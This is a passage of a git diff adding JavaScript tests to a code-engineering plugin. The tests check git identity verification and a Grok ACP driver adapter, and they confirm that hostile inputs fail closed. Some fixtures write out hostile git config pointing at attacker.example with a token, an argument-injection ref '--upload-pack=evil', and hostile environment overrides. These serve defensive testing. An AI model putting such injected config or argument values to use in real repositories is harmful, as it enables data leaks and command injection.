createLinkedWorktreeBenignConfigRepo(); + t.after(() => linked.cleanup()); + const linkedResult = await verifyGitIdentityV1(validRequest({ + path: linked.path, base_sha: linked.baseSha, head_sha: linked.headSha, + })); + assert.equal(linkedResult.status, 'verified'); + assert.equal(linkedResult.observation.head_sha, linked.headSha); + assert.equal(linkedResult.discrepancies.length, 0); +}); + +test('system global and caller GIT_CONFIG surfaces cannot influence observation', async (t) => { + const repo = await createLinearRepo(); + t.after(() => repo.cleanup()); + const hostileRoot = await mkdtemp(path.join(tmpdir(), 'p14-gitconfig-env-')); + t.after(() => rm(hostileRoot, { recursive: true, force: true })); + const hostileFile = path.join(hostileRoot, 'global.cfg'); + writeFileSync(hostileFile, `[extensions] + partialClone = leaked-origin +[remote "leaked"] + promisor = true + partialclonefilter = blob:none + url = https://attacker.example/leaked.git?token=SUPERSECRET +`); + const previous = { + GIT_CONFIG: process.env.GIT_CONFIG, + GIT_CONFIG_GLOBAL: process.env.GIT_CONFIG_GLOBAL, + GIT_CONFIG_SYSTEM: process.env.GIT_CONFIG_SYSTEM, + GIT_CONFIG_NOSYSTEM: process.env.GIT_CONFIG_NOSYSTEM, + GIT_CONFIG_COUNT: process.env.GIT_CONFIG_COUNT, + GIT_CONFIG_PARAMETERS: process.env.GIT_CONFIG_PARAMETERS, + GIT_CONFIG_KEY_0: process.env.GIT_CONFIG_KEY_0, + GIT_CONFIG_VALUE_0: process.env.GIT_CONFIG_VALUE_0, + }; + process.env.GIT_CONFIG = hostileFile; + process.env.GIT_CONFIG_GLOBAL = hostileFile; + process.env.GIT_CONFIG_SYSTEM = hostileFile; + process.env.GIT_CONFIG_NOSYSTEM = '0'; + process.env.GIT_CONFIG_COUNT = '1'; + process.env.GIT_CONFIG_PARAMETERS = "'extensions.partialClone=origin'"; + process.env.GIT_CONFIG_KEY_0 = 'remote.origin.promisor'; + process.env.GIT_CONFIG_VALUE_0 = 'true'; + try { + const result = await verifyGitIdentityV1(validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + }), { + spawn(command, args, options) { + assertClosedProtocolEnv(options.env); + return nodeSpawn(command, args, options); + }, + }); + assert.equal(result.status, 'verified'); + } finally { + for (const [key, value] of Object.entries(previous)) { + if (value === undefined) delete process.env[key]; + else process.env[key] = value; + } + } +}); + +test('protocol denial blocks a missing promisor object fetch', async (t) => { + const repo = await createLinearRepo(); + t.after(() => repo.cleanup()); + const includeRoot = await mkdtemp(path.join(tmpdir(), 'p14-promisor-race-')); + t.after(() => rm(includeRoot, { recursive: true, force: true })); + const includeFile = path.join(includeRoot, 'hostile.cfg'); + writeFileSync(includeFile, `[extensions] + partialClone = origin +[remote "origin"] + url = https://attacker.example/steal.git?token=SUPERSECRET + promisor = true + partialclonefilter = blob:none +`); + const missingSha = 'c'.repeat(40); + let seenConfig = false; + const error = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: missingSha, + }), { + spawn(command, args, options) { + assertClosedProtocolEnv(options.env); + if (seenConfig) { + appendFileSync( + path.join(repo.path, '.git', 'config'), + `\n[include]\n\tpath = ${includeFile}\n`, + ); + seenConfig = false; + } + if (isEffectiveConfigList(args)) seenConfig = true; + return nodeSpawn(command, args, options); + }, + })); + assert.ok( + error.code === 'unreachable_head' + || error.code === 'config_influence_denied' + || error.code === 'git_execution_failed' + || error.code === 'non_commit_object', + error.code, + ); + assert.notEqual(error.code, undefined); + assertContentFree(error, ...HOSTILE_CONFIG_NEEDLES, includeFile, repo.path, missingSha); +}); + +test('config introduced between pre and post checks cannot verify', async (t) => { + const repo = await createLinearRepo(); + t.after(() => repo.cleanup()); + const includeRoot = await mkdtemp(path.join(tmpdir(), 'p14-config-race-')); + t.after(() => rm(includeRoot, { recursive: true, force: true })); + const includeFile = path.join(includeRoot, 'hostile.cfg'); + writeFileSync(includeFile, `[extensions] + partialClone = origin +[remote "origin"] + url = https://attacker.example/steal.git?token=SUPERSECRET + promisor = true + partialclonefilter = blob:none +`); + let seenPreConfig = false; + let mutated = false; + let configLists = 0; + const error = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + }), { + spawn(command, args, options) { + assertClosedProtocolEnv(options.env); + if (seenPreConfig && !mutated) { + mutated = true; + appendFileSync( + path.join(repo.path, '.git', 'config'), + `\n[include]\n\tpath = ${includeFile}\n`, + ); + } + if (isEffectiveConfigList(args)) { + configLists += 1; + seenPreConfig = true; + } + return nodeSpawn(command, args, options); + }, + })); + assert.equal(error.code, 'config_influence_denied'); + assert.equal(configLists, 2); + assert.equal(mutated, true); + assertContentFree(error, ...HOSTILE_CONFIG_NEEDLES, includeFile, repo.path); +}); diff --git a/plugins/codex-co-engineer/test/r1-git-identity.test.mjs b/plugins/codex-co-engineer/test/r1-git-identity.test.mjs new file mode 100644 index 0000000..b446de3 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-git-identity.test.mjs @@ -0,0 +1,266 @@ +import assert from 'node:assert/strict'; +import { spawn as nodeSpawn } from 'node:child_process'; +import test from 'node:test'; + +import { + parseEvidenceDiscrepancyV1, + parseVerifiedFactV1, +} from '../mcp/v3/evidence-bundle.mjs'; +import { + GIT_CLOSED_ENV, + GIT_EXECUTABLE, + GIT_IDENTITY_ERROR_CODES, + GIT_IDENTITY_SCHEMA_ID, + GIT_IDENTITY_VERSION, + MAX_GIT_OUTPUT_BYTES, + parseGitIdentityRequestV1, + verifyGitIdentityV1, +} from '../mcp/v3/git-identity.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + ASSIGNMENT_ID, + BASE_REF, + RUN_ID, + createLinearRepo, + createLinkedWorktreeRepo, + createMissingRepoPath, + createNonGitDirectory, + validRequest, +} from './fixtures/r1-git-identity-fixtures.mjs'; + +function errorOf(action, expectedPath) { + return Promise.resolve() + .then(() => action()) + .then( + () => assert.fail('expected a typed RunContractV1Error'), + (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + }, + ); +} + +test('schema identity is additive v1 and does not claim later-wave ownership', () => { + assert.equal(GIT_IDENTITY_SCHEMA_ID, 'codex-co-engineer.git-identity.v1'); + assert.equal(GIT_IDENTITY_VERSION, 1); + assert.equal(GIT_EXECUTABLE, '/usr/bin/git'); + assert.equal(Object.isFrozen(GIT_IDENTITY_ERROR_CODES), true); + assert.equal(GIT_IDENTITY_SCHEMA_ID.includes('4.0.0'), false); +}); + +test('a valid request parses into a frozen detached snapshot', () => { + const input = validRequest({ + path: '/tmp/cce-r1-git-identity-repo', + base_sha: 'a'.repeat(40), + head_sha: 'b'.repeat(40), + }); + const snapshot = parseGitIdentityRequestV1(input); + assert.equal(Object.isFrozen(snapshot), true); + assert.equal(Object.isFrozen(snapshot.repository), true); + assert.equal(snapshot.expected_base_ref, BASE_REF); + assert.equal(snapshot.run_id, RUN_ID); + assert.equal(snapshot.assignment_id, ASSIGNMENT_ID); + input.expected_base_ref = 'refs/heads/other'; + input.repository.base_sha = 'c'.repeat(40); + assert.equal(snapshot.expected_base_ref, BASE_REF); + assert.equal(snapshot.repository.base_sha, 'a'.repeat(40)); +}); + +test('required keys, extra keys, and hostile base refs fail closed', async () => { + const base = validRequest({ + path: '/tmp/cce-r1-git-identity-repo', + base_sha: 'a'.repeat(40), + head_sha: 'b'.repeat(40), + }); + assert.equal( + (await errorOf(() => parseGitIdentityRequestV1({ ...base, extra: true }))).code, + 'unknown_key', + ); + const missing = { ...base }; + delete missing.candidate_head_sha; + assert.equal( + (await errorOf(() => parseGitIdentityRequestV1(missing), 'git_identity.candidate_head_sha')).code, + 'missing_key', + ); + for (const name of [ + 'HEAD', 'refs/heads/HEAD', '-n', '--upload-pack=evil', 'refs/replace/x', + 'refs/heads/foo..bar', 'refs/heads/foo.lock', 'refs/heads/@{u}', + 'main', 'refs/tags/v1', 'refs/heads/foo^2', 'refs/heads/foo:path', + ]) { + const error = await errorOf(() => parseGitIdentityRequestV1({ + ...base, expected_base_ref: name, + }), 'git_identity.expected_base_ref'); + assert.ok( + error.code === 'hostile_name_denied' || error.code === 'invalid_format', + name, + ); + assert.equal(error.message.includes(name), false, name); + } +}); + +test('a linear descendant verifies independently into P13 git facts', async (t) => { + const repo = await createLinearRepo(); + t.after(() => repo.cleanup()); + const result = await verifyGitIdentityV1(validRequest({ + path: repo.path, + base_sha: repo.baseSha, + head_sha: repo.headSha, + })); + assert.equal(result.schema, GIT_IDENTITY_SCHEMA_ID); + assert.equal(result.status, 'verified'); + assert.equal(result.discrepancies.length, 0); + assert.equal(result.facts.length, 2); + assert.equal(result.observation.base_sha, repo.baseSha); + assert.equal(result.observation.head_sha, repo.headSha); + assert.equal(result.observation.merge_base_sha, repo.baseSha); + assert.equal(result.observation.ancestor, true); + assert.equal(result.observation.base_object_type, 'commit'); + assert.equal(result.observation.head_object_type, 'commit'); + assert.equal(result.facts[0].fact_kind, 'git_identity'); + assert.equal(result.facts[0].status, 'verified'); + assert.equal(result.facts[0].authority, 'platform_git'); + assert.equal(result.facts[0].method, 'ancestry_check'); + assert.equal(result.facts[0].payload.base_sha, repo.baseSha); + assert.equal(result.facts[0].payload.head_sha, repo.headSha); + assert.equal(result.facts[1].fact_kind, 'head_sha'); + assert.equal(result.facts[1].payload.sha, repo.headSha); + assert.deepEqual(parseVerifiedFactV1({ ...result.facts[0] }).payload, result.facts[0].payload); + assert.equal(Object.isFrozen(result), true); + assert.equal(Object.isFrozen(result.facts), true); + assert.equal(Object.isFrozen(result.observation), true); +}); + +test('missing and non-git repositories fail closed without echoing paths', async (t) => { + const missing = await createMissingRepoPath(); + t.after(() => missing.cleanup()); + const missingError = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: missing.path, + base_sha: missing.baseSha, + head_sha: missing.headSha, + }))); + assert.equal(missingError.code, 'repository_missing'); + assert.equal(missingError.message.includes(missing.path), false); + + const nongit = await createNonGitDirectory(); + t.after(() => nongit.cleanup()); + const invalid = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: nongit.path, + base_sha: nongit.baseSha, + head_sha: nongit.headSha, + }))); + assert.equal(invalid.code, 'repository_invalid'); + assert.equal(invalid.message.includes(nongit.path), false); +}); + +test('git runs as argv without shell and with a closed environment', async (t) => { + const repo = await createLinearRepo(); + t.after(() => repo.cleanup()); + const calls = []; + const previousGitDir = process.env.GIT_DIR; + const previousConfig = process.env.GIT_CONFIG_PARAMETERS; + process.env.GIT_DIR = '/tmp/hostile-git-dir'; + process.env.GIT_CONFIG_PARAMETERS = "'core.hooksPath=/tmp/hooks'"; + try { + const result = await verifyGitIdentityV1(validRequest({ + path: repo.path, + base_sha: repo.baseSha, + head_sha: repo.headSha, + }), { + spawn(command, args, options) { + calls.push({ command, args, options }); + return nodeSpawn(command, args, options); + }, + }); + assert.equal(result.status, 'verified'); + } finally { + if (previousGitDir === undefined) delete process.env.GIT_DIR; + else process.env.GIT_DIR = previousGitDir; + if (previousConfig === undefined) delete process.env.GIT_CONFIG_PARAMETERS; + else process.env.GIT_CONFIG_PARAMETERS = previousConfig; + } + assert.ok(calls.length > 0); + for (const call of calls) { + assert.equal(call.command, GIT_EXECUTABLE); + assert.equal(call.options.cwd, '/'); + assert.equal(call.options.env, GIT_CLOSED_ENV); + assert.equal(Object.hasOwn(call.options.env, 'GIT_DIR'), false); + assert.equal(Object.hasOwn(call.options.env, 'GIT_CONFIG_PARAMETERS'), false); + assert.equal(call.options.shell, undefined); + assert.equal(Array.isArray(call.args), true); + assert.equal(call.args.some((arg) => arg.includes('&&') || arg.includes('|') || arg.includes(';')), false); + } +}); + +test('a safe linked worktree verifies against the common object store', async (t) => { + const repo = await createLinkedWorktreeRepo(); + t.after(() => repo.cleanup()); + const result = await verifyGitIdentityV1(validRequest({ + path: repo.path, + base_sha: repo.baseSha, + head_sha: repo.headSha, + })); + assert.equal(result.status, 'verified'); + assert.equal(result.observation.head_sha, repo.headSha); + assert.equal(result.observation.base_sha, repo.baseSha); + assert.equal(result.observation.ancestor, true); + assert.equal(result.discrepancies.length, 0); +}); + +test('independent repositories verify concurrently without sharing observation', async (t) => { + const left = await createLinearRepo(); + const right = await createLinearRepo(); + t.after(() => Promise.all([left.cleanup(), right.cleanup()])); + const [leftResult, rightResult] = await Promise.all([ + verifyGitIdentityV1(validRequest({ + path: left.path, base_sha: left.baseSha, head_sha: left.headSha, + })), + verifyGitIdentityV1(validRequest({ + path: right.path, base_sha: right.baseSha, head_sha: right.headSha, + })), + ]); + assert.equal(leftResult.status, 'verified'); + assert.equal(rightResult.status, 'verified'); + assert.equal(leftResult.observation.repository_path, left.path); + assert.equal(rightResult.observation.repository_path, right.path); + assert.notEqual(left.baseSha, right.baseSha); + assert.notEqual(leftResult.facts[0].payload.base_sha, rightResult.facts[0].payload.base_sha); +}); + +test('output bounds kill hostile git writers without reflecting content', async (t) => { + const repo = await createLinearRepo(); + t.after(() => repo.cleanup()); + const error = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: repo.path, + base_sha: repo.baseSha, + head_sha: repo.headSha, + }), { + spawn() { + return nodeSpawn('/usr/bin/yes', ['x'.repeat(64)], { + cwd: '/', + env: GIT_CLOSED_ENV, + stdio: ['ignore', 'pipe', 'pipe'], + }); + }, + })); + assert.equal(error.code, 'bounds_exceeded'); + assert.equal(error.message.includes('x'.repeat(16)), false); + assert.ok(MAX_GIT_OUTPUT_BYTES > 0); +}); + +test('verified facts stay EvidenceBundle-compatible without proof artifacts', async (t) => { + const repo = await createLinearRepo(); + t.after(() => repo.cleanup()); + const result = await verifyGitIdentityV1(validRequest({ + path: repo.path, + base_sha: repo.baseSha, + head_sha: repo.headSha, + })); + const identity = parseVerifiedFactV1(result.facts[0]); + const head = parseVerifiedFactV1(result.facts[1]); + assert.equal(identity.fact_kind, 'git_identity'); + assert.equal(head.fact_kind, 'head_sha'); + assert.equal(identity.artifact_digests.length, 0); + assert.equal(result.discrepancies.length, 0); + assert.equal(typeof parseEvidenceDiscrepancyV1, 'function'); +}); diff --git a/plugins/codex-co-engineer/test/r1-grok-acp-driver-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-grok-acp-driver-adversarial.test.mjs new file mode 100644 index 0000000..0cacef9 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-grok-acp-driver-adversarial.test.mjs @@ -0,0 +1,466 @@ +// Adversarial tests for the P18 Grok ACP adapter: malformed and +// provider-forged receipts, hostile direct-JS inputs, content leaking into +// diagnostics, and post-spawn replay. Injected transport only. + +import assert from 'node:assert/strict'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { + DRIVER_OPERATION_SCHEMA_IDS, + PROVIDER_DRIVER_VERSION, + buildDriverOperationRequestV1, + validateDriverLaunchRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { + GROK_ACP_TRANSPORT_OPERATIONS, + MAX_GROK_ACP_EVENT_TEXT_BYTES, + MAX_GROK_ACP_TIMING_MS, + assertGrokAcpTransportV1, + bindGrokAcpDriverV1, + createGrokAcpDriverV1, + grokAcpDriverDeclarationV1, + inspectGrokAcpLaneEvidenceV1, +} from '../mcp/v3/grok-acp-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-resolver-fixtures.mjs'; +import { + GROK_FIXTURE_MODEL, + GROK_FIXTURE_SESSION_ID, + buildGrokDriverFixtureV1, + createScriptedGrokAcpTransportV1, + grokAcpCallsOf, +} from './fixtures/r1-grok-acp-transport.mjs'; + +const fixture = buildGrokDriverFixtureV1(); +const LEAK_MARKER = 'XSECRET7Q'; + +function expectCode(fn, code, message) { + assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code, message); +} + +function requestFor(operation, extras = {}) { + return buildDriverOperationRequestV1(operation, fixture.envelope, extras); +} + +function identityFields() { + return { + provider: 'grok', + model: GROK_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + }; +} + +function launchBound(script = {}) { + const transport = createScriptedGrokAcpTransportV1(script); + const driver = bindGrokAcpDriverV1(transport); + driver.preflight(requestFor('preflight')); + return { driver, transport }; +} + +test('live and revoked proxies are denied with zero traps', () => { + const live = countingProxy(createScriptedGrokAcpTransportV1()); + const liveError = errorOf(() => assertGrokAcpTransportV1(live.proxy)); + assert.equal(liveError.code, 'proxy_denied'); + assert.equal(trapTotal(live.counts), 0); + + const { proxy, revoke } = Proxy.revocable(createScriptedGrokAcpTransportV1(), { + get() { throw new Error('revoked getter ran'); }, + }); + revoke(); + assert.equal(errorOf(() => assertGrokAcpTransportV1(proxy)).code, 'proxy_denied'); + + const declarationProxy = countingProxy(grokAcpDriverDeclarationV1()); + assert.equal( + errorOf(() => inspectGrokAcpLaneEvidenceV1(bindGrokAcpDriverV1(createScriptedGrokAcpTransportV1()), declarationProxy.proxy)).code, + 'proxy_denied', + ); + assert.equal(trapTotal(declarationProxy.counts), 0); +}); + +test('hostile transport surfaces fail closed', () => { + expectCode(() => assertGrokAcpTransportV1({ ...createScriptedGrokAcpTransportV1(), retry: () => ({}) }), + 'invalid_surface'); + const incomplete = { ...createScriptedGrokAcpTransportV1() }; + delete incomplete.reattach; + expectCode(() => assertGrokAcpTransportV1(incomplete), 'invalid_surface'); + expectCode(() => assertGrokAcpTransportV1({ ...createScriptedGrokAcpTransportV1(), spawn: 1 }), + 'invalid_operation'); + class TransportClass {} + expectCode( + () => assertGrokAcpTransportV1(Object.assign(new TransportClass(), createScriptedGrokAcpTransportV1())), + 'exotic_prototype_denied', + ); + const accessor = {}; + Object.defineProperty(accessor, 'preflight', { enumerable: true, get: () => () => ({}) }); + for (const operation of GROK_ACP_TRANSPORT_OPERATIONS) { + if (operation === 'preflight') continue; + accessor[operation] = () => ({}); + } + expectCode(() => assertGrokAcpTransportV1(accessor), 'invalid_object'); +}); + +test('getter and own-undefined driver requests never invoke accessors', () => { + let reads = 0; + const getterRequest = { + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }; + Object.defineProperty(getterRequest, 'version', { + enumerable: true, + get() { + reads += 1; + return 1; + }, + }); + assert.equal(errorOf(() => validateDriverLaunchRequestV1(getterRequest)).code, 'accessor_property_denied'); + assert.equal(reads, 0); + + const undefinedRequest = { + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: undefined, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }; + assert.equal(errorOf(() => validateDriverLaunchRequestV1(undefinedRequest)).code, 'own_undefined_denied'); + + expectCode(() => validateDriverLaunchRequestV1(new Proxy(requestFor('launch'), {})), 'proxy_denied'); +}); + +test('malformed spawn receipts after a returned call are uncertain, not dispatched', () => { + const transport = createScriptedGrokAcpTransportV1({ + spawn: { spawned: true, session_id: '!!!', ...identityFields() }, + }); + const driver = bindGrokAcpDriverV1(transport); + driver.preflight(requestFor('preflight')); + const receipt = driver.launch(requestFor('launch')); + assert.equal(receipt.disposition, 'dispatch_uncertain'); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 0); +}); + +test('provider-forged dispatch acknowledgements are never treated as dispatched', () => { + const cases = [ + { model: 'grok-code-fast-1' }, + { provider: 'dsh' }, + { run_id: 'other-run' }, + { child_envelope_digest: '0'.repeat(64) }, + { session_id: 'sess-forged' }, + { request_id: 'forged-request' }, + ]; + for (const forge of cases) { + const transport = createScriptedGrokAcpTransportV1({ + dispatch: (request) => ({ + acknowledged: true, + session_id: request.session_id, + request_id: request.request_id, + ...identityFields(), + ...forge, + }), + }); + const driver = bindGrokAcpDriverV1(transport); + driver.preflight(requestFor('preflight')); + const receipt = driver.launch(requestFor('launch')); + assert.equal(receipt.disposition, 'dispatch_uncertain', JSON.stringify(forge)); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 1); + } +}); + +test('forged observe, cancel, and reattach identities fail closed', () => { + const { driver } = launchBound({ + observe: { status: 'running', session_id: 'sess-other', ...identityFields() }, + }); + driver.launch(requestFor('launch')); + expectCode(() => driver.reconcile(requestFor('reconcile')), 'stale_identity_denied'); + + const cancelForge = launchBound({ + cancel: { outcome: 'cancel_confirmed', session_id: 'sess-other', ...identityFields() }, + }); + cancelForge.driver.launch(requestFor('launch')); + expectCode(() => cancelForge.driver.cancel(requestFor('cancel')), 'stale_identity_denied'); + + const reattachForge = launchBound({ + reattach: { reattached: true, session_id: 'sess-other', ...identityFields() }, + }); + reattachForge.driver.launch(requestFor('launch')); + expectCode( + () => reattachForge.driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })), + 'stale_identity_denied', + ); +}); + +test('malformed observe receipts fail closed and do not copy content into the driver result', () => { + const extraKey = launchBound({ + observe: { + status: 'running', + session_id: GROK_FIXTURE_SESSION_ID, + envelope_text: fixture.envelope_text, + ...identityFields(), + }, + }); + extraKey.driver.launch(requestFor('launch')); + expectCode(() => extraKey.driver.reconcile(requestFor('reconcile')), 'unknown_key'); + + const fallbackKey = launchBound({ + observe: { + status: 'running', + session_id: GROK_FIXTURE_SESSION_ID, + fallback: true, + ...identityFields(), + }, + }); + fallbackKey.driver.launch(requestFor('launch')); + expectCode(() => fallbackKey.driver.reconcile(requestFor('reconcile')), 'replay_or_fallback_denied'); + + const badCursor = launchBound({ + observe: { + status: 'running', + session_id: GROK_FIXTURE_SESSION_ID, + cursor: 'not-a-cursor', + ...identityFields(), + }, + }); + badCursor.driver.launch(requestFor('launch')); + expectCode(() => badCursor.driver.reconcile(requestFor('reconcile')), 'invalid_format'); + + const badTiming = launchBound({ + observe: { + status: 'running', + session_id: GROK_FIXTURE_SESSION_ID, + elapsed_ms: MAX_GROK_ACP_TIMING_MS + 1, + ...identityFields(), + }, + }); + badTiming.driver.launch(requestFor('launch')); + expectCode(() => badTiming.driver.reconcile(requestFor('reconcile')), 'invalid_format'); +}); + +test('proxy and accessor transport receipts fail closed without running getters', () => { + const proxyTransport = createScriptedGrokAcpTransportV1({ + preflight: () => new Proxy({ ok: true, ...identityFields() }, {}), + }); + expectCode( + () => bindGrokAcpDriverV1(proxyTransport).preflight(requestFor('preflight')), + 'proxy_denied', + ); + + let getterRuns = 0; + const accessorTransport = createScriptedGrokAcpTransportV1({ + preflight: () => { + const receipt = { ok: true, ...identityFields() }; + delete receipt.ok; + Object.defineProperty(receipt, 'ok', { + enumerable: true, + get() { + getterRuns += 1; + return true; + }, + }); + return receipt; + }, + }); + expectCode( + () => bindGrokAcpDriverV1(accessorTransport).preflight(requestFor('preflight')), + 'accessor_property_denied', + ); + assert.equal(getterRuns, 0); +}); + +test('needs_attention without a reply identity fails closed', () => { + const { driver } = launchBound({ + observe: { status: 'needs_attention', session_id: GROK_FIXTURE_SESSION_ID, ...identityFields() }, + }); + driver.launch(requestFor('launch')); + expectCode(() => driver.reconcile(requestFor('reconcile')), 'capability_reply_mismatch'); +}); + +test('inspect rejects hostile queries and stale child identities', () => { + const { driver } = launchBound(); + driver.launch(requestFor('launch')); + expectCode(() => inspectGrokAcpLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: '0'.repeat(64), + }), 'stale_identity_denied'); + expectCode(() => inspectGrokAcpLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + fallback: true, + }), 'replay_or_fallback_denied'); + const getterQuery = { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }; + let reads = 0; + Object.defineProperty(getterQuery, 'cursor', { + enumerable: true, + get() { + reads += 1; + return '1'; + }, + }); + expectCode(() => inspectGrokAcpLaneEvidenceV1(driver, getterQuery), 'accessor_property_denied'); + assert.equal(reads, 0); +}); + +test('oversized event text is clipped and omitted keys never appear on evidence', () => { + const { driver } = launchBound({ + observe: { + status: 'running', + session_id: GROK_FIXTURE_SESSION_ID, + ...identityFields(), + events: [{ + type: 'tool', + text: 'y'.repeat(MAX_GROK_ACP_EVENT_TEXT_BYTES + 64), + prompt: fixture.envelope_text, + envelope_text: fixture.envelope_text, + api_key: 'sk-abcdefghijklmnop', + content: { raw: fixture.envelope_text }, + }], + }, + }); + driver.launch(requestFor('launch')); + driver.reconcile(requestFor('reconcile', { include: ['detailed_events'] })); + const evidence = inspectGrokAcpLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(evidence.events.length, 1); + assert.equal(evidence.events[0].envelope_text, undefined); + assert.equal(evidence.events[0].content, undefined); + assert.equal(evidence.events[0].api_key, '[redacted]'); + assert.ok(String(evidence.events[0].text).length <= MAX_GROK_ACP_EVENT_TEXT_BYTES + 1); + assert.equal(JSON.stringify(evidence).includes(fixture.envelope_text), false); +}); + +test('stale workspace and model drift on reattach fail closed', () => { + const { driver } = launchBound({ + reattach: { + reattached: true, + session_id: GROK_FIXTURE_SESSION_ID, + ...identityFields(), + model: 'grok-code-fast-1', + repository_path: '/tmp/other-worktree', + }, + }); + driver.launch(requestFor('launch')); + expectCode( + () => driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })), + 'stale_identity_denied', + ); +}); + +test('cyclic and aliased receipts fail closed', () => { + const cyclic = identityFields(); + cyclic.status = 'running'; + cyclic.session_id = GROK_FIXTURE_SESSION_ID; + cyclic.progress = {}; + cyclic.progress.self = cyclic.progress; + const { driver } = launchBound({ observe: cyclic }); + driver.launch(requestFor('launch')); + expectCode(() => driver.reconcile(requestFor('reconcile')), 'aliased_reference_denied'); +}); + +test('blocked preflight keeps XSECRET7Q out of results and errors', () => { + const leakSurfaces = []; + const transport = createScriptedGrokAcpTransportV1({ + preflight: { + ok: false, + detail_code: 'xsecret7q', + detail_message: `provider authored ${LEAK_MARKER} token sk-abcdefghijklmnop`, + ...identityFields(), + }, + }); + const driver = bindGrokAcpDriverV1(transport); + let receipt; + try { + receipt = driver.preflight(requestFor('preflight')); + } catch (error) { + leakSurfaces.push(error); + throw error; + } + assert.equal(receipt.disposition, 'blocked'); + assert.equal(receipt.detail_code, 'preflight_blocked'); + assert.equal( + receipt.detail_message, + 'Grok ACP preflight is blocked; the lane fails closed with no fallback.', + ); + leakSurfaces.push(receipt); + const serialized = leakSurfaces.map((value) => { + if (value instanceof Error) { + return [value.name, value.code, value.path, value.message, value.stack, JSON.stringify(value)].join('\n'); + } + return JSON.stringify(value); + }).join('\n'); + assert.equal(serialized.includes(LEAK_MARKER), false); + assert.equal(JSON.stringify(receipt).includes(LEAK_MARKER), false); + expectCode(() => driver.launch(requestFor('launch')), 'blocked_lane_denied'); +}); + +test('hostile running after latched completed never reports progress or copies provider text', () => { + const { driver, transport } = launchBound({ + observe: [ + { status: 'completed', session_id: GROK_FIXTURE_SESSION_ID, ...identityFields() }, + { + status: 'running', + session_id: GROK_FIXTURE_SESSION_ID, + ...identityFields(), + progress: { status: 'running', cursor: '9', event_count: 3, elapsed_ms: 10 }, + attention: { session_id: GROK_FIXTURE_SESSION_ID, question_id: `q-${LEAK_MARKER}` }, + }, + ], + }); + driver.launch(requestFor('launch')); + assert.equal(driver.reconcile(requestFor('reconcile')).disposition, 'terminal'); + const observeAfterLatch = grokAcpCallsOf(transport, 'observe').length; + let receipt; + try { + receipt = driver.reconcile(requestFor('reconcile', { include: ['live_progress'] })); + } catch (error) { + assert.equal(error.code, 'terminal_regression_denied'); + assert.equal(String(error.message).includes(LEAK_MARKER), false); + assert.equal(JSON.stringify({ code: error.code, path: error.path, message: error.message }).includes(LEAK_MARKER), false); + assert.ok(grokAcpCallsOf(transport, 'observe').length <= observeAfterLatch + 1); + assert.equal(grokAcpCallsOf(transport, 'spawn').length, 1); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 1); + return; + } + assert.equal(receipt.disposition, 'terminal'); + assert.notEqual(receipt.disposition, 'in_progress'); + assert.notEqual(receipt.disposition, 'unresolved_attention'); + assert.notEqual(receipt.disposition, 'dispatch_uncertain'); + assert.equal(JSON.stringify(receipt).includes(LEAK_MARKER), false); + assert.ok(grokAcpCallsOf(transport, 'observe').length <= observeAfterLatch + 1); + assert.equal(grokAcpCallsOf(transport, 'spawn').length, 1); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 1); +}); + +test('createGrokAcpDriverV1 captures operations so later mutation cannot swap dispatch', () => { + const transport = createScriptedGrokAcpTransportV1(); + const driver = createGrokAcpDriverV1(transport); + transport.dispatch = () => { + throw new Error('mutated dispatch must never run'); + }; + driver.preflight(requestFor('preflight')); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched'); +}); + +function errorOf(action) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + assert.equal(utilTypes.isProxy(error), false); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} diff --git a/plugins/codex-co-engineer/test/r1-grok-acp-driver.test.mjs b/plugins/codex-co-engineer/test/r1-grok-acp-driver.test.mjs new file mode 100644 index 0000000..cc8d9d0 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-grok-acp-driver.test.mjs @@ -0,0 +1,574 @@ +// Runtime tests for the P18 Grok ACP ProviderDriverV1 adapter: injected +// transport sequences for pre-spawn failure vs post-spawn 